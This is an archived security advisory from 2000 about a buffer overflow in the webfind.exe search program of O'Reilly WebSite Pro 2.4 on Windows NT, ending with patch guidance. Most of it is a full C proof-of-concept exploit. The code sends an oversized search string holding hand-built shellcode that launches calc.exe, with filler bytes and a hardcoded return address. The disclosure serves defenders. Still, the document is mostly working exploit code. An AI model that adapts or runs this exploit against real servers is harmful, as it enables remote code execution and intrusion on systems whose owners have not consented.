COMMAND

    Website

SYSTEMS AFFECTED

    Windows NT running Website Pro  2.4

PROBLEM

    Following is  based on  a Cerberus  Information Security Advisory.
    The Cerberus  Security Team  has discovered  a buffer  overflow in
    one of  the executables  that comes  with O'Reilly's  WebSite Pro.
    This overflow can be exploited by an attacker to execute arbitrary
    code.

    If webfind.exe receives a search string of over 1024 bytes then it
    access  violates.   This  overflow  is  exploitable,  and proof of
    concept is supplied  below.  Note  that this vulnerability  is the
    same one discovered by COVER in:

        http://oliver.efri.hr/~crv/security/bugs/Others/website2.html

    Proof of Concept:

    /*******************************************************************************/
    /*   Buffer overrun in WebSite Pro's webfind.exe                               */
    /*                                                                             */
    /*                                                                             */
    /*   This is "proof of concept" code which will launch a window of calc.exe on */
    /*   the server's machine. This code will _not_ work as is. When the search    */
    /*   request is made two packets are sent by the client computer. The first    */
    /*   should be sniffed and copied and pasted straight into buffer 1. Then for  */
    /*   second packet sniff again, and copy the end of the data packet from       */
    /*   "&indexname" onwards (This will vary from server to server)               */
    /*                                                                             */
    /*   Robert Horton ( hyphen@devilnet-uk.net )                                  */
    /*                                                                             */
    /*   June 2000                                                                 */
    /*                                                                             */
    /*   usage: program.exe <hostname>                                          */
    /*******************************************************************************/
    
    
    
    #include <windows.h>
    #include <winsock.h>
    #include <string.h>
    #include <stdio.h>
    
    
    
    struct sockaddr_in sa;
    struct hostent *he;
    SOCKET sock;
    
    
    
    char *buffer1 ="\x050\x04F\x053\x054\x020\x02F\x063\x067\x069\x02D\x0\73\x068\x06C\x02F\x077\x065\x062\x066\x069\x06E\x064\x02E\x065\x078\x065\x020\x0\
    48\x054\x054\x050\x02F\x031\x02E\x031\x00D\x00A\x041\x063\x063\x065\x070\x074\x0\
    3A\x020\x069\x06D\x061\x067\x065\x02F\x067\x069\x066\x02C\x020\x069\x06D\x061\x0\
    67\x065\x02F\x078\x02D\x078\x062\x069\x074\x06D\x061\x070\x02C\x020\x069\x06D\x0\
    61\x067\x065\x02F\x06A\x070\x065\x067\x02C\x020\x069\x06D\x061\x067\x065\x02F\x0\
    70\x06A\x070\x065\x067\x02C\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x0\
    6F\x06E\x02F\x076\x06E\x064\x02E\x06D\x073\x02D\x070\x06F\x077\x065\x072\x070\x0\
    6F\x069\x06E\x074\x02C\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x0\
    6E\x02F\x076\x06E\x064\x02E\x06D\x073\x02D\x065\x078\x063\x065\x06C\x02C\x020\x0\
    61\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x06E\x02F\x06D\x073\x077\x06F\x0\
    72\x064\x02C\x020\x02A\x02F\x02A\x00D\x00A\x052\x065\x066\x065\x072\x065\x072\x0\
    3A\x020\x068\x074\x074\x070\x03A\x02F\x02F\x031\x030\x02E\x032\x02E\x032\x02E\x0\
    38\x032\x03A\x038\x030\x030\x038\x02F\x063\x067\x069\x02D\x073\x068\x06C\x02F\x0\
    77\x065\x062\x066\x069\x06E\x064\x02E\x065\x078\x065\x00D\x00A\x041\x063\x063\x0\
    65\x070\x074\x02D\x04C\x061\x06E\x067\x075\x061\x067\x065\x03A\x020\x065\x06E\x0\
    2D\x067\x062\x00D\x00A\x043\x06F\x06E\x074\x065\x06E\x074\x02D\x054\x079\x070\x0\
    65\x03A\x020\x061\x070\x070\x06C\x069\x063\x061\x074\x069\x06F\x06E\x02F\x078\x0\
    2D\x077\x077\x077\x02D\x066\x06F\x072\x06D\x02D\x075\x072\x06C\x065\x06E\x063\x0\
    6F\x064\x065\x064\x00D\x00A\x041\x063\x063\x065\x070\x074\x02D\x045\x06E\x063\x0\
    6F\x064\x069\x06E\x067\x03A\x020\x067\x07A\x069\x070\x02C\x020\x064\x065\x066\x0\
    6C\x061\x074\x065\x00D\x00A\x055\x073\x065\x072\x02D\x041\x067\x065\x06E\x074\x0\
    3A\x020\x04D\x06F\x07A\x069\x06C\x06C\x061\x02F\x034\x02E\x030\x020\x028\x063\x0\
    6F\x06D\x070\x061\x074\x069\x062\x06C\x065\x03B\x020\x04D\x053\x049\x045\x020\x0\
    35\x02E\x030\x031\x03B\x020\x057\x069\x06E\x064\x06F\x077\x073\x020\x04E\x054\x0\
    20\x035\x02E\x030\x03B\x020\x044\x069\x067\x045\x078\x074\x029\x00D\x00A\x048\x0\
    6F\x073\x074\x03A\x020\x031\x030\x02E\x032\x02E\x032\x02E\x038\x032\x03A\x038\x0\
    30\x030\x038\x00D\x00A\x043\x06F\x06E\x074\x065\x06E\x074\x02D\x04C\x065\x06E\x0\
    67\x074\x068\x03A\x020\x031\x031\x032\x031\x00D\x00A\x043\x06F\x06E\x06E\x065\x0\
    63\x074\x069\x06F\x06E\x03A\x020\x04B\x065\x065\x070\x02D\x041\x06C\x069\x076\x0\
    65\x00D\x00A\x00D\x00A";
    
    
    char buffer2[2000];
    
    char *end_variables =
    "\x026\x069\x06E\x064\x065\x078\x06E\x061\x06D\x065\x03D\x0\
    69\x06E\x064\x065\x078\x031\x026\x06D\x061\x078\x068\x069\x074\x073\x03D\x041\x0\
    6C\x06C\x026\x073\x065\x061\x072\x063\x068\x069\x06E\x03D\x043\x06F\x06D\x070\x0\
    6C\x065\x074\x065\x02B\x046\x069\x06C\x065";
    
    
    unsigned int addr;
    
    char hostname[256];
    
    int startWSOCK(char *swhost)
    {
     int err=0;
     WORD wVersionRequested;
     WSADATA wsaData;
    
    
    
     wVersionRequested = MAKEWORD( 2, 0 );
     err = WSAStartup( wVersionRequested, &wsaData );
     if ( err != 0 )
      {
    
       return 0;
      }
     if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
      {
           WSACleanup( );
          return 0;
      }
    
      if (isalpha(swhost[0]))
      {
       he = gethostbyname(swhost);
      }
      else
      {
       addr = inet_addr(swhost);
       he = gethostbyaddr((char *)&addr,4,AF_INET);
      }
    
     if (he == NULL)
      {
       return 0;
      }
    
     sa.sin_addr.s_addr=INADDR_ANY;
     sa.sin_family=AF_INET;
     memcpy(&sa.sin_addr,he->h_addr,he->h_length);
     return 1;
    }
    
    
    
    int sendString()
    {
     int snd, rcv, err, count =0, wui=0, in=0, num=0, b=0,inter =0;
     char resp[20000];
     char logoff[80];
    
    
     /*Construct second buffer to send
       First add "keywords=" */
    
    
     _snprintf(buffer2, 9,"\x06B\x065\x079\x077\x06F\x072\x064\x073\x03D");
    
     /* Add exploit code*/
     count = 9;
    
     buffer2[count] = 0x90;  /*nop*/
     count++;
    
     buffer2[count] = 0x55;  /*push ebp*/
     count++;
    
     buffer2[count] = 0x8b; /*mov ebp, esp*/
     count++;
     buffer2[count] = 0xec;
     count++;
    
     buffer2[count] = 0x33;  /*xor esi, esi*/
     count++;
     buffer2[count] = 0xf6;
     count++;
    
     buffer2[count] = 0x56;  /*push esi*/
     count++;
    
     buffer2[count] = 0xb8;  /*mov eax, 0x77f1a986*/
     count++;
     buffer2[count] = 0x86;
     count++;
     buffer2[count] = 0xa9;
     count++;
     buffer2[count] = 0xf1;
     count++;
     buffer2[count] = 0x77;
     count++;
    
     buffer2[count] = 0x68;  /*push ".exe"*/
     count++;
     buffer2[count] = 0x2e;
     count++;
     buffer2[count] = 0x65;
     count++;
     buffer2[count] = 0x78;
     count++;
     buffer2[count] = 0x65;
     count++;
    
     buffer2[count] = 0x68;  /*push "calc"*/
     count++;
     buffer2[count] = 0x63;
     count++;
     buffer2[count] = 0x61;
     count++;
     buffer2[count] = 0x6c;
     count++;
     buffer2[count] = 0x63;
     count++;
    
     buffer2[count] = 0x8b;  /*mov ebx, esp*/
     count++;
     buffer2[count] = 0xdc;
     count++;
    
     buffer2[count] = 0xbe;  /*mov esi, ffffffff*/
     count++;
     buffer2[count] = 0xff;
     count++;
     buffer2[count] = 0xff;
     count++;
     buffer2[count] = 0xff;
     count++;
     buffer2[count] = 0xff;
     count++;
    
     buffer2[count] = 0x83;  /*sub esi, f5ffffff*/
     count++;
     buffer2[count] = 0xee;
     count++;
     buffer2[count] = 0xf5;
     count++;
    
    
     buffer2[count] = 0x56;  /*push esi*/
     count++;
    
     buffer2[count] = 0x53;  /*push ebx*/
     count++;
    
     buffer2[count] = 0xff;  /*call eax*/
     count++;
     buffer2[count] = 0xd0;
     count++;
    
     buffer2[count] = 0x33;  /*xor eax, eax*/
     count++;
     buffer2[count] = 0xc0;
     count++;
    
     buffer2[count] = 0x50;  /*push eax*/
     count++;
    
     buffer2[count] = 0xb8;  /*mov eax, 0x77f19f92*/
     count++;
     buffer2[count] = 0x92;
     count++;
     buffer2[count] = 0x9f;
     count++;
     buffer2[count] = 0xf1;
     count++;
     buffer2[count] = 0x77;
     count++;
    
    
     buffer2[count] = 0xff; /*call eax*/
     count++;
     buffer2[count] = 0xd0; /*should exit*/
     count++;
    
    
    
     buffer2[count] = 0xcc;  /*breakpoint*/
     count++;
    
    
     /*add some filler characters*/
    
    
     while(count < 1009)
     {
      buffer2[count] = 0x41;
      count++;
     }
    
     /*address in memory of "jump ebp"*/
    
     buffer2[count] = 0xdb;
     count ++;
     buffer2[count] = 0xcf;
     count ++;
     buffer2[count] = 0xf3;
     count ++;
     buffer2[count] = 0x77;
     count ++;
    
     /*more fillers*/
    
     while(count < 1080)
     {
      buffer2[count] = 0x41;
      count ++;
     }
    
     /*finally add final variables to string
       these will vary depending on the server
       and index searched (i.e. copy and paste
       from a sniffer
     */
    
     _snprintf(buffer2 + 1080, 2000, end_variables);
    
    
        /*connect and send*/
    
     sa.sin_port=htons(8008);
     sock=socket(AF_INET,SOCK_STREAM,0);
     bind(sock,(struct sockaddr *)&sa,sizeof(sa));
    
    
     if (sock==INVALID_SOCKET)
      {
    
       printf ("invalid socket\n");
       closesocket(sock);
       return 0;
      }
    
    
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
      {
          printf("Couldn't connect");
       closesocket(sock);
       return 0;
      }
     else
      {
    
    
       snd=send(sock, buffer1,strlen(buffer1),0);
       snd=send(sock, buffer2,strlen(buffer2),0);
    
       rcv = recv(sock,resp,2001,0);
    
       closesocket(sock);
      }
    
    
    
    
    return 0;
    }
    
    
    
    
    int main(int argc, char *argv[])
    {
     int chk=0,count =0;
    
    
     if(argc !=2)
      return 0;
    
     strncpy(hostname, argv[1], 256 );
    
    
    
    
    
     if(startWSOCK(hostname))
     {
       sendString();
     }
    
     return 0;
    
    }

SOLUTION

    O'Reilly were informed of  this on the 7th  of June 2000, and  the
    issue has been fixed in the 2.5 release available at

        http://website.oreilly.com/support/software/wsp2x_updates.cfm

    O'Reilly have  also said  that they  will test  the fixed  dll the
    ensure that  it will  work with  previous versions,  so that it is
    just a case of replacing the updated file.

    Download release 2.5 or the updated dll (libcgi.dll).  If you  are
    not using webfind.exe delete it.